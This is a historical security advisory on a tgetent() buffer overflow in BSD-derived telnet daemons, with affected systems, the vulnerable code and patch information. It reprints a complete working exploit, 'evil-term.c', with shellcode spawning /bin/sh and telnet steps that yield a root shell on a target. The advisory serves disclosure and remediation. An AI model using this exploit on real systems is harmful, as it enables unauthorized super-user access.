COMMAND

    in.telnetd (tgetent)

SYSTEMS AFFECTED

    BSD/OS (BSDI) 2.1 of BSD/OS
    FreeBSD older than 2.1.5
    Linux
    OpenBSD Versions of OpenBSD older than 2.0

PROBLEM

    Following info is based on  Secure Networks Security Advisory.   A
    vulnerability in the  tgetent(3) library routine  can result in  a
    buffer overflow in the telnet daemon on some BSD derived  systems.
    By  uploading  an  alternate  terminal  capability  database,   an
    attacker  can  exploit  this  vulnerability  to  gain unauthorized
    super-user access to  a vulnerable system,  or to gain  super-user
    access on a system which they already have access to.

    This problem can be exploited  by mailing a file into  the system,
    or uploading a file via FTP.  Once this file has been  transferred
    to the remote system, the attacker must only be able to connect to
    the telnet daemon, to obtain super-user access.

    The tgetent(3) library call requires the passing in of a buffer in
    which the terminal entry is stored.

    /*
     * Get an entry for terminal name in buffer bp from the termcap file.
     */
    int
    tgetent(bp, name)
                char *bp, *name;
    {

    The tgetent(3) library call does  no checking on the size  of data
    which is  placed into  the *bp  buffer.   Many programs  pass in a
    buffer  of  size  1024  bytes.   By  creating  a  termcap terminal
    specification larger than 1024 bytes, you can overflow a buffer in
    the calling function.   If this buffer is  stored on the stack  in
    the calling function,  we can cause  arbitrary machine code  to be
    executed.

    The BSD telnet daemon calls the tgetent(3) function as follows:

    char buf[1024];

    if (terminaltype == NULL)
        return(1);

    if (tgetent(buf, s) == 0)
        return(0);
    return(1);

    By specifying  a terminal  capability entry  which is  larger than
    1024  bytes,  an  overflow  occurs  in the telnet daemon, allowing
    arbitrary machine instructions to be executed.  In that way remote
    individuals can obtain super-user access to any vulnerable system.
    This vulnerability  can allow  remote users  to obtain  super-user
    access on vulnerable systems, and can allow local users to  obtain
    super-user access.

    If  your  telnetd  is  linked  against  GNU termcap (as opposed to
    ncurses), it seems that there *is* a vulnerability; it looks  like
    GNU termcap doesn't check for overflow of the initial name portion
    of  the  terminal  type.   ncurses  doesn't  touch  the  buffer in
    question at all.   Joseph_K posted a  remote exploit for  the BSDI
    termcap buffer.

    /* BSDI BSD/OS 2.1 telnet-exploit ; evil-term.c
    **
    ** Written by Joseph_K the 22-Oct-1997
    **
    **
    ** Original shellcode by mudge@l0pht.com but modified a tiny bit...
    **
    ** This program must be compiled for the BSDI architecture...
    ** You will need to transfer the file 'termcap' this program creates
    ** to the host you want to penetrate, possibly by anonymous FTP.
    **
    ** Then start telnet and type:
    **
    ** telnet> env def TERM access
    ** telnet> env def TERMCAP /path/and/name/of/uploaded/file
    ** telnet> open victim.host.com
    **
    ** tadaa! r00t shell...
    **
    ** However because of the invalid termcap entry, there can be some
    ** hazzles....You figure it out....
    **
    ** Fy faen vad jag ar hungrig...
    **
    ** Special Greetz to TWiLiGHT!
    **
    */

    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>

    #define filename "./termcap"
    #define entry   "access|Gimme r00t:\\\n :"
    #define bufsize 1300
    #define default_offset 870    /* Should work...*/

    char shellcode[] =
       "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
       "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
       "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
       "\x9a\x3e\x39\x29\x28\x39\x3c\xe8\xc6\xff\xff\xff/bin/sh";

    long get_sp(void)
    {
       __asm__("movl %esp, %eax\n");
    }

    int main(int argc, char *argv[]) {
       int i, fd, offs;
       long *bof_ptr;
       char *ptr, *buffer, *tempbuf;

       offs = default_offset;

       if(argc == 2) {
          printf("using offset: %d\n",atoi(argv[1]));
          offs = atoi(argv[1]);
       }

       if(!(buffer = malloc(bufsize))) {
          printf("can't allocate enough memory\n");
          exit(0);
       }


      if(!(tempbuf = malloc(bufsize+strlen(entry) + 50))) {
          printf("can't allocate enough memory\n");
          exit(0);
       }

       bof_ptr = (long *)buffer;
       for (i = 0; i < bufsize - 4; i += 4)
          *(bof_ptr++) = get_sp() - offs;

       ptr = (char *)buffer;
       for (i = 0; i < ((bufsize-strlen(shellcode)))/2 - 1; i++)
          *(ptr++) = 0x90;

       for (i = 0; i < strlen(shellcode); i++)
          *(ptr++) = shellcode[i];

       printf("Creating termcap file\n");

       snprintf(tempbuf, (bufsize+strlen(entry)+50), "%s%s:\n", entry, buffer);
       fd = open(filename, O_WRONLY|O_CREAT, 0666);
       write (fd, tempbuf, strlen(tempbuf));
       close(fd);
    }

SOLUTION

    BSD/OS (BSDI)

        Version 3.0 of  BSD/OS is NOT  vulnerable.  BSDI  has issued a
        security  fix  which  is  currently  in the testing phases and
        will be availible at the following location:

        ftp://ftp.bsdi.com/bsdi/patches/patches-2.1/U210-043

    FreeBSD

        Versions of  FreeBSD newer  than 2.1.5  are NOT  vulnerable to
        this  problem.   FreeBSD-current,  FreeBSD  2.1.7  and FreeBSD
        2.2.2 are NOT vulnerable.

    OpenBSD

        Versions of OpenBSD newer than 2.0 are NOT vulnerable to  this
        problem.